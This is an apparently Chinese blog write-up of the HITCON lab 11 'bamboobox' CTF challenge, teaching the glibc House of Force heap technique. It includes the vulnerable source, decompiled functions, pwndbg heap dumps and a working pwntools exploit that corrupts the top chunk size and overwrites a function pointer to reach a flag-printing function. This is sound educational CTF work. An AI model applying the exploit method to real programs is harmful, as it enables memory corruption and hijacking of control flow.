House of Force

First Post:

Last Update:

Word Count:
3.6k

Read Time:
20 min

Page View: loading...

House Of Force(控制top_chunk)(基础)

参考资料:
CTF-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
附件下载:
链接: https://pan.baidu.com/s/1NiEZbuBUCFJrMOjqlazPUA 密码: np57
–来自百度网盘超级会员V3的分享
House Of Force是一种堆的利用方法,其主要原理是控制heap中的top_chunk并malloc来达到控制任意内存的空间。

题目来源:HITCON training lab 11
附件:
链接: https://pan.baidu.com/s/1qdOlp9RT_7mxhw_187ugXQ 密码: abtk
–来自百度网盘超级会员V3的分享


Linux环境

老规矩,checksec一下文件先

Snipaste_2023-09-12_17-08-13.png

计算一下 main_arena 距离 libc 的距离

Snipaste_2023-09-12_20-25-47.png

程序源代码(c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
struct item {
int size;
char *name;
};

struct item itemlist[100] = {0};

int num;

void hello_message() {
puts("There is a box with magic");
puts("what do you want to do in the box");
}

void goodbye_message() {
puts("See you next time");
puts("Thanks you");
}

struct box {
void (*hello_message)();
void (*goodbye_message)();
};

void menu() {
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

void show_item() {
int i;
if (!num) {
puts("No item in the box");
} else {
for (i = 0; i < 100; i++) {
if (itemlist[i].name) {
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}

int add_item() {

char sizebuf[8];
int length;
int i;
int size;
if (num < 100) {
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0) {
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++) {
if (!itemlist[i].name) {
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}

} else {
puts("the box is full");
}
return 0;
}

void change_item() {

char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;

if (!num) {
puts("No item in the box");
} else {
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name) {
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
} else {
puts("invaild index");
}
}
}
void remove_item() {
char indexbuf[8];
int index;

if (!num) {
puts("No item in the box");
} else {
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name) {
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
} else {
puts("invaild index");
}
}
}

void magic() {
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}

int main() {

char choicebuf[8];
int choice;
struct box *bamboo;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message;
bamboo->hello_message();

while (1) {
menu();
read(0, choicebuf, 8);
choice = atoi(choicebuf);
switch (choice) {
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}

return 0;
}

IDA静态分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item(buf, buf);
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}

​ main函数其实没有什么好说的,但是值得注意的是程序开头就申请了一片堆空间来存放hello_message和goodbye_message,并在程序开始的时候调用hello_message和在程序结束的时候调用goodbye_message。

meau函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cdecl menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

这是一个程序的菜单函数,没有什么特别的。

show_item

1
2
3
4
5
6
7
8
9
10
11
12
13
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]

if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( itemlist[i].content )
printf("%d : %s", (unsigned int)i, itemlist[i].content); //老老实实打印堆块的内容
}
return puts(byte_401089);
}

首先判断存放于bss段的全局变量num是否有数据,然后进入循环打印程序各个结构体的内容,没有什么好看的。

add_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf); //输入准备输入内容的长度
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !itemlist[i].content )
{
LODWORD(itemlist[i].size) = v2;
itemlist[i].content = (char *)malloc(v2);
printf("Please enter the name of item:");
itemlist[i].content[(int)read(0, itemlist[i].content, v2)] = 0;
++num;
return 0LL;
} //根据输入的长度,malloc大小,并填充数据
}
}
return 0LL;
}

首先根据num判断是否堆满了,然后根据堆结构体写入数据

根据输入的长度,生成一个堆,然后填入数据,不存在溢出

change_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( itemlist[v1].content )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
itemlist[v1].content[(int)read(0, itemlist[v1].content, v2)] = 0;// //存在堆溢出,输出长度由我们自己决定
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}

又可以往堆中写入内容,这次长度由我们自己决定,存在堆溢出!!!

remove_item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( itemlist[v1].content )
{
free(itemlist[v1].content);
itemlist[v1].content = 0LL;
LODWORD(itemlist[v1].size) = 0; // free了且将指针置0,不存在UAF
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}

free(itemlist[v1].content); free(itemlist[index].name);
itemlist[v1].content = 0LL; -> itemlist[index].name = 0;
LODWORD(itemlist[v1].size) = 0; itemlist[index].size = 0;

free 了 堆块,清空指针,不存在uaf

magic

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("./flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

magic = 0x400D49

目标地址,控制程序执行流到magic函数的位置即可get flag

结构体

1
2
3
4
5
6
00000000 item            struc ; (sizeof=0x10, mappedto_6)
00000000 ; XREF: .bss:itemlist/r
00000000 size dq ?
00000008 content dq ? ; offset
00000010 item ends
00000010

对应c代码的 item 结构体

pwndbg 动态调试

堆内存分布

首先使用gdb动态调试程序,创建两个堆块,然后进入调试模式,详细信息如下面的代码框所示:

  • chunk0:size=10,content=”aaaaa”
  • chunk1:size=20,content=”bbbbb”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontrani
ng_lab11$ gdb bamboobox
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bamboobox...(no debugging symbols found)...done.
pwndbg> r
Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:2
Please enter the length of item name:10
Please enter the name of item:aaaaa
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:2
Please enter the length of item name:20
Please enter the name of item:bbbbb
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x8
RDI 0x0
RSI 0x7fffffffdc40 —▸ 0x7fffffff0a32 ◂— 0x0
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0xc
R10 0x0
R11 0x246
R12 0x4007a0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdd30 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdc50 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdc28 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10]
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
─────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc28 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10]
01:0008│ 0x7fffffffdc30 ◂— 0x200400ee0
02:0010│ 0x7fffffffdc38 —▸ 0x603010 —▸ 0x400896 (hello_message) ◂— push rbp
03:0018│ rsi 0x7fffffffdc40 —▸ 0x7fffffff0a32 ◂— 0x0
04:0020│ 0x7fffffffdc48 ◂— 0x2b1241ff949c6b00
05:0028│ rbp 0x7fffffffdc50 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15
06:0030│ 0x7fffffffdc58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
07:0038│ 0x7fffffffdc60 ◂— 0x0
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 400e5d main+166
f 2 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg>

ok,输入完成,接下来我们查看堆的分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x603040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x603060
Size: 0x20fa1

pwndbg>

堆的内存分布f

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0x603020: 0x0000000000000000 0x0000000000000021 #chunk0
0x603030: 0x00000a6161616161 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021 #chunk1
0x603050: 0x00000a6262626262 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1 #top_chunk
......(省略内容均为空)
0x6030e0: 0x0000000000000000 0x0000000000000000
pwndbg>

全局变量

1
2
3
4
5
6
.bss:00000000006020C0                 public itemlist
.bss:00000000006020C0 ; item itemlist[100]
.bss:00000000006020C0 itemlist item 64h dup(<?>) ; DATA XREF: add_item+A4↑o
.bss:0000000000602700 public num
.bss:0000000000602700 ; int num
.bss:0000000000602700 num dd ? ; DATA XREF: show_item+8↑r
  • itemlist[] 记录着堆块的指针

  • num 记录着堆块的数量。

查看一下堆指针信息

1
2
3
4
5
6
7
8
9
10
pwndbg> x/10gx 0x6020c0
0x6020c0 <itemlist>: 0x000000000000000a 0x0000000000603030 #chunk0
#struct_size #struct_content_ptr
0x6020d0 <itemlist+16>: 0x0000000000000014 0x0000000000603050 #chunk1
#struct_size #struct_content_ptr
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000 0x0000000000000000
pwndbg>
//注意struct_content_ptr指向malloc出来malloc_data的地址

保存着每一个chunk的 size(输入的大小) 和 chunk地址

攻击原理及exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')

def cmd(choice):
p.sendlineafter('',str(choice))

def create(size,content):
cmd(2)
p.sendlineafter('item name:',str(size))
p.sendlineafter('item:',content)

def edit(index,size,content):
cmd(3)
p.sendlineafter('of item:',str(index))
p.sendlineafter('item name:',str(size))
p.sendlineafter('the item:',content)

def delete(index):
cmd(4)
p.sendlineafter('of item:',str(index))

def quit():
cmd(5)

magic = 0x400d49
create(0x30, "aaaa")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'bbbb')
create(0x10,p64(magic)*2)
quit()
p.interactive()

payload 分析

我们的目标是修改堆中的0x4008b1(goodbye_message)为magic函数地址:

1
2
3
4
5
6
7
8
9
10
11
12
--------------------------------------------------------------------------
修改之前:
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
--------------------------------------------------------------------------
我们所期望的:
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x0000000000400d49
#hello_message #magic函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def cmd(choice):
p.sendlineafter('',str(choice))

def create(size,content):
cmd(2)
p.sendlineafter('item name:',str(size))
p.sendlineafter('item:',content)

def edit(index,size,content):
cmd(3)
p.sendlineafter('of item:',str(index))
p.sendlineafter('item name:',str(size))
p.sendlineafter('the item:',content)

def delete(index):
cmd(4)
p.sendlineafter('of item:',str(index))

def quit():
cmd(5)

首先来看第一部分的payload,这些代码的主要功能是自动化执行程序的功能。也是exp中最基础的部分,没有什么好说的。

1
create(0x30, "aaaa")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x601000 0x602000 r--p 1000 1000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x602000 0x603000 rw-p 1000 2000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x603000 0x624000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

执行完上面的payload之后堆块的状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x0000000a61616161 0x0000000000000000
0xe80040: 0x0000000000000000 0x0000000000000000
0xe80050: 0x0000000000000000 0x0000000000000000
0xe80060: 0x0000000000000000 0x0000000000020fa1 #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
0xe80080: 0x0000000000000000 0x0000000000000000
0xe80090: 0x0000000000000000 0x0000000000000000
0xe800a0: 0x0000000000000000 0x0000000000000000
0xe800b0: 0x0000000000000000 0x0000000000000000
0xe800c0: 0x0000000000000000 0x0000000000000000
0xe800d0: 0x0000000000000000 0x0000000000000000
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

然后我们编辑刚才创建的堆块(index0):

1
2
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffff #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

从上面的内容可以看到,top_chunk的size已经被更改为0xffffffffffffffff,利用它我们就可以控制任意内存的地址。继续向下看paylaod:

1
2
offset=-0x60-0x10
create(offset,'bbbb')

这个offset怎么来的?

首先要明确目标为修改goodbye_message函数为magic函数。在gdb调试中,goodbye_message函数指针的地址为:0xe80010,现在的top_chunk地址为0xe80060

要想修改地址,应该将 top_chunk 指向0xe80000(heap_base)处,这样当下次再分配chunk时,就可以分配到goodbye_message处的内存了。

如何计算?本题是向低地址移动,将上一小节的公式带入到本题中:

malloc_size=0xe80000-0xe80060-0x10=-0x70

因此要malloc(-0x70),完成此步骤之后堆内存如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000059 #new_top_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffa1 #old_top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

此时已经可以控制goodbye_message的地址,覆盖后退出程序就可以触发magic函数。

1
create(0x10,p64(magic)*2)
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #现在已经被控制的chunk
0xe80010: 0x0000000000400d49 0x0000000000400d49
#hello_message #magic
0xe80020: 0x0000000000000000 0x0000000000000039 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffa1 #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

debug-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
➜  ~ cd Desktop/
'5.exit\n'
'----------------------------\n'
'Your choice:'
[DEBUG] Sent 0x5 bytes:
'bbbb\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x117 bytes:
'invaild choice!!!\n'
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:Please enter the length of item name:'
[DEBUG] Sent 0x3 bytes:
'16\n'
[DEBUG] Received 0x1e bytes:
'Please enter the name of item:'
[DEBUG] Sent 0x11 bytes:
00000000 49 0d 40 00 00 00 00 00 49 0d 40 00 00 00 00 00 │I·@·│····│I·@·│····│
00000010 0a │·│
00000011
[DEBUG] Received 0x1d2 bytes:
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:invaild choice!!!\n'
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:'
[DEBUG] Sent 0x2 bytes:
'5\n'
[*] Switching to interactive mode
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:invaild choice!!!
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:[*] Process './bamboobox' stopped with exit code 0 (pid 29277)
[DEBUG] Received 0x15 bytes:
'flag{house_of_force}\n'
flag{house_of_force}
[*] Got EOF while reading in interactive
$

可以看到已经打印出来了 flag